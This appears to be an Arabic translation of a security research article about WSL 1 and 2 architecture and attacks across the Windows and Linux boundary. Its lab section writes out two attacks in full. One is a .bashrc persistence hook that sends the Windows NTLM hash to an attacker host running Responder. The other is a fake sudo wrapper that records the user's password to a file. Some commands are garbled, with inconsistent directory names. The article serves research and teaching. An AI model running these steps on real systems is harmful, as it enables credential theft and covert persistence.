في عام 2016 ، قدمت Microsoft التكنولوجيا الجديدة WSL ( W indows S ubsystem for L.inux) ، والذي مكّن على المدى الطويل من توحيد المنافسين الذين لا يمكن التوفيق بينهم سابقًا والذين حاربوا من أجل الشعبية بين مستخدمي أنظمة التشغيل العاديين والمتقدمين: Windows و Linux. جعلت هذه التقنية من الممكن استخدام أدوات Linux في بيئة Windows دون الحاجة إلى بدء تشغيل Linux ، على سبيل المثال ، باستخدام Multi-boot. في Habr ، يمكنك العثور على عدد كبير من المقالات التي تصف فوائد استخدام WSL. ومع ذلك ، لسوء الحظ ، في وقت إنشاء المقالة ، لم يتم العثور على دراسات أمنية لمثل هذا التعايش لأنظمة التشغيل على هذا المورد. سيحاول هذا المنشور إصلاح ذلك. سيتحدث المقال عن ميزات معماريات WSL 1 و 2 ، ويحلل عدة أمثلة للهجمات على الأنظمة التي تستخدم هذه التقنيات. المقال مقسم إلى جزئين.سيوفر الأول الأساليب النظرية الأساسية لهجمات لينكس وويندوز. ستتضمن المقالة الثانية إعداد بيئة اختبار وإعادة الهجمات.
WSL 1: ميزات العمارة
من أجل الانغماس الأكثر دقة في قضايا أمان WSL ، من الضروري تحديد الفروق الدقيقة المرتبطة بتنفيذ النظام الفرعي. تتمثل إحدى مهام المستخدم الرئيسية التي تم حلها بواسطة WSL في توفير القدرة على العمل من خلال أنظمة Linux الطرفية على مضيف يعمل بنظام التشغيل Windows. أيضًا ، كان التوافق المقترح أصليًا بحيث يمكن تشغيل ملفات Linux القابلة للتنفيذ (ELFs) مباشرة على نظام Windows. لتحقيق هذه الأهداف ، تم إنشاء نظام فرعي خاص في نظام التشغيل Windows 10 يسمح لك بتشغيل تطبيقات Linux باستخدام مجموعة من استدعاءات النظام المحددة - وبالتالي ، جرت محاولة لتعيين مجموعة من مكالمات نظام التشغيل Linux إلى Windows. تم تنفيذ ذلك فعليًا عن طريق إضافة برامج تشغيل جديدة وتنسيق عملية جديد. بصريا ، بدت الهندسة مثل هذا:
في الواقع ، تم تنظيم التفاعل مع نظام التشغيل Linux من خلال العديد من الوحدات النووية ونوع خاص من العمليات - pico. من الرسم البياني أعلاه ، يمكنك أن ترى أن العملية التي يتم تشغيلها في مثيل Linux على المضيف يجب أن تكون أصلية ويجب أن تستخدم نفس الموارد مثل تطبيقات Windows العادية. لكن كيف يمكن تحقيق ذلك؟ طور مشروع Drawbridge مفاهيم عملية Windows التي وفرت جميع مكونات نظام التشغيل (حسب الإصدار) اللازمة لتشغيل تطبيق نظام تشغيل مختلف.
لاحظ أن التجريد المقترح جعل من الممكن عدم التركيز على نظام التشغيل (على وجه الخصوص ، Windows) ، الذي من المتوقع أن تبدأ فيه عملية نظام تشغيل آخر ، وقدم نهجًا عامًا.وبالتالي ، يمكن تشغيل أي تطبيق داخل عملية pico دون النظر إلى Windows kernel:
- يجب معالجة مشكلات التوافق وترجمة مكالمات النظام من قبل مقدمي خدمات متخصصين ؛
- يجب أن يتم التحكم في الوصول من خلال مراقب الأمن. توجد الشاشة في النواة وبالتالي يحتاج Windows إلى ترقية في شكل برنامج تشغيل جديد للعمل كمزود لمثل هذه العمليات. يظهر نموذج أولي لعملية بيكو بشكل تخطيطي أدناه:
نظرًا لأن نظام ملفات Linux يستخدم أسماء ملفات ودلائل حساسة لحالة الأحرف ، فقد تمت إضافة نوعين من أنظمة الملفات إلى Windows للتعامل مع WSL - VolFS و DriveFS. VolFS هو تطبيق لنظام ملفات Linux ، DriveFS هو نظام ملفات يعمل وفقًا لقواعد Windows ، ولكن لديه القدرة على اختيار حساسية حالة الأسماء.
WSL 2
كان لـ WSL 1 عدد من القيود التي حالت دون استخدامه لحل أقصى نطاق من المهام: على سبيل المثال ، كان يفتقر إلى القدرة على تشغيل تطبيقات Linux 32 بت ، ولا يمكن استخدام برامج تشغيل الأجهزة. لذلك ، تم إصدار WSL 2 في عام 2020 ، مما أدى إلى تغيير نهج بناء النظام الفرعي. WSL 2 هو جهاز افتراضي محسّن يلبي خصائص استهلاك موارد WSL 1. الآن ، بناءً على المشكلات التي حلها مستخدم Windows ، يمكنك تحديد الإصدار المطلوب من نظام Linux الفرعي. لتقليل الثغرات الأمنية المحتملة ، تم تطبيق WSL 2 استنادًا إلى Hyper-V في Windows 10. في هذا النموذج ، يمتلك Windows القدرة على تشغيل Linux kernel بشكل منفصل. تجدر الإشارة إلى أن الإصدار 1 من WSL تم تقديمه كميزة تجريبية ،والذي كان من المفترض أن يظهر متجه تطوير Windows في هذا المجال ، لذلك كان الانتقال إلى Hyper-V أمرًا لا مفر منه. تبدو البنية النهائية كما يلي:
في هذا الإصدار ، تمتلك نواة Windows و Linux مواردها الخاصة والتقاطع موجود فقط في نظام الملفات ، لكن هذا التقاطع لم يكتمل. يتم تنفيذ التفاعل بين أنظمة الملفات عن طريق غلاف خادم عميل يعمل على بروتوكول 9P.
توفر Microsoft اليوم القدرة على التبديل بين WSL 1 و WSL 2. كلا الإصدارين متاحان للاستخدام.
أمن WSL
في الوقت الحالي ، هناك العديد من الأوراق التي تصف بعض الأساليب لاستخدام أدوات نظام التشغيل المشروعة لمهاجمة التفاعلات بين الأنظمة الفرعية. سوف نستخدم نصوصهم للتحقق من أهمية الهجمات في وقت كتابة هذا التقرير. القائمة العامة للهجمات والسيناريوهات:
1. تنفيذ نظام الملفات: حقوق الوصول ، وجود أدلة مشتركة / آليات تبادل البيانات.
تم إجراء البحث حول موضوع انتهاك قواعد الوصول من Linux FS-> Windows FS، Windows FS-> Linux FS . أظهرت الدراسات القدرة على تعديل ملف معين داخل نظام التشغيل الهدف. كما جرت محاولات لاستبدال وإنشاء نسخ وحذف جزء من أنظمة الملفات.
سيناريو:
- A. هجوم من نظام التشغيل Windows - تعديل الملفات من دليل / etc في Linux.
- B. هجوم من نظام التشغيل لينكس - تعديل الملفات في الدلائل:
C:\Windows،C:\Program Files،C:\Users\<User>
2. تنفيذ شبكة المكدس.
تم إجراء البحث على أمثلة لهجمات من نظام التشغيل Linux على Windows. تم استخدام ميزات مكدس الشبكة ، وهي آليات المصادقة على الموارد المختلفة.
سيناريو:
- فتح الوصول إلى منفذ مشغول على نظام Windows
- فتح المنفذ في حالة عدم وجود الحقوق المناسبة
- إطلاق قذيفة عكسية باستخدام ملف elf في نظام التشغيل Windows.
3. إخفاء إطلاق عمليات البرمجيات الخبيثة باستخدام نظام WSL الفرعي.
استند البحث إلى حقيقة بسيطة - لا يمكن للأنظمة الفرعية للحماية اعتراض الأحداث في نواة أخرى ، والتي تعمل باستخدام مزود شرعي من نظام التشغيل في حالة WSL 1. في حالة WSL 2 ، لا توجد طريقة لعرض الأحداث التي تحدث في نواة منفصلة داخل آلة افتراضية خفيفة.
السيناريو:
1) بدء تشغيل التطبيق للوصول إلى النظام عن بعد وعرض الأحداث المسجلة.
تجارب WSL 1: Hash Catching (Windows OS)
أخيرًا وصلنا إلى الجزء العملي. أولاً ، تحتاج إلى إعداد البيئة للاختبارات. سيتم إجراء جميع التجارب على كشك مثبت عليه Windows 10 2004. تم اختيار Ubuntu 18.04 كصورة لنظام التشغيل لـ WSL. تم اختيار الصورة بشكل عشوائي وسيعمل أي شخص آخر بنفس الطريقة. أوامر إعداد الحامل:
أولاً ، تحتاج إلى التشغيل
powershell.exeكمسؤول.
بالنسبة إلى WSL 1 ، تحتاج إلى تنفيذ الأوامر: بعد إعادة تشغيل الحامل ، يمكنك استدعاء أمر bash. إذا كان كل شيء يعمل بشكل صحيح ، فسترى شيئًا كهذا في وحدة تحكم Windows: سنستخدم توزيع Kali Linux كجهاز المهاجم ، ويجب أن تكون جميع الأجهزة على نفس الشبكة المحلية.
- Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux # WSL
- Invoke-WebRequest -Uri aka.ms/wsl-ubuntu-1804
-OutFile ~/Ubuntu.appx -UseBasicParsing # Linux Microsoft
Ubuntu.appx install —root #
, , , root. sam.
Restart-Computer #
لنفترض أن لدينا وصولاً غير مميز إلى WSL على جهاز يعمل بنظام Windows. دعنا نحاول مهاجمة نظام التشغيل Linux عن طريق استدعاء أمر من Linux. لتنفيذ الهجوم ، سنستخدم أسلوب التشغيل التلقائي البسيط - سنضيف البرنامج النصي الخاص بنا للتنفيذ في بيئة Linux. للقيام بذلك ، تحتاج إلى تعديل الملف
.bashrc.
على جهاز مزود بـ WSL ، قم بتشغيل:
1. bash
2. : cd /home/sam/
2. echo «/home/sam/.attack.sh» >> .bashrc
3. echo «icalcs.exe \» \\\\\\\\attacker_ip\\\\shareName\\\\\» > /dev/null 2>&1» >> .attack.sh
4. chmod u+x .attack.sh
5. exitعلى جهاز Kali Linux ، قم بتشغيل:
1. Responder -I eth0 -rdvwعلى جهاز يعمل بنظام Windows ، قم بتشغيل bash.
نحن ننتظر النتيجة على جهاز Kali Linux:
وهكذا ، حصلنا على تجزئة مستخدم Windows من خلال نظام WSL الفرعي عن طريق تشغيل الأمر على نظام Linux.
تجارب WSL 1: استرداد كلمة مرور المستخدم (Linux OS)
لنقم بتجربة أخرى. أثناء هذا الفحص ، سنكمل الملف
.bashrcبالعديد من الأوامر من أجل الحصول على كلمة مرور المستخدم لنظام التشغيل Linux.
لنبدأ bash وإدخال الأوامر:
1. mkdir .hidden
2. echo "export PATH=\$HOME/.hidden/:\$PATH:" >> .bashrc
3. echo "read -sp \"[sudo] password for $USER: \" sudopass" > .hidden/sudo
4. echo "echo \"\"" >> .mysudo/sudo
5. echo "sleep 2" >> .mysudo/sudo
6. echo "echo \"Sorry, try again.\"" >> .mysudo/sudo
7. echo "echo \$sudopass >> /home/sam/.mysudo/pass.txt» >> .mysudo/sudo
8. echo "/usr/bin/sudo \$@" >> .mysudo/sudo
9. chmod +x .mysudo/sudo
10. exitلكي يكتمل الهجوم بنجاح ، يحتاج Sam إلى استدعاء sudo في محطة Linux. بعد ذلك ، ستكون كلمة مرور مستخدم Linux OS في الملف
pass.txt:
تم تقديم تنفيذ الهجمات للحصول على معلومات نظرية فقط.
سيصف الجزء التالي من المقالة تنفيذ بروتوكول 9P ، والنظر في إنشاء ماسح ضوئي لهذا البروتوكول ، وكذلك تنفيذ هجوم باستخدامه.
قائمة الأدب المستخدم
اقرأ أكثر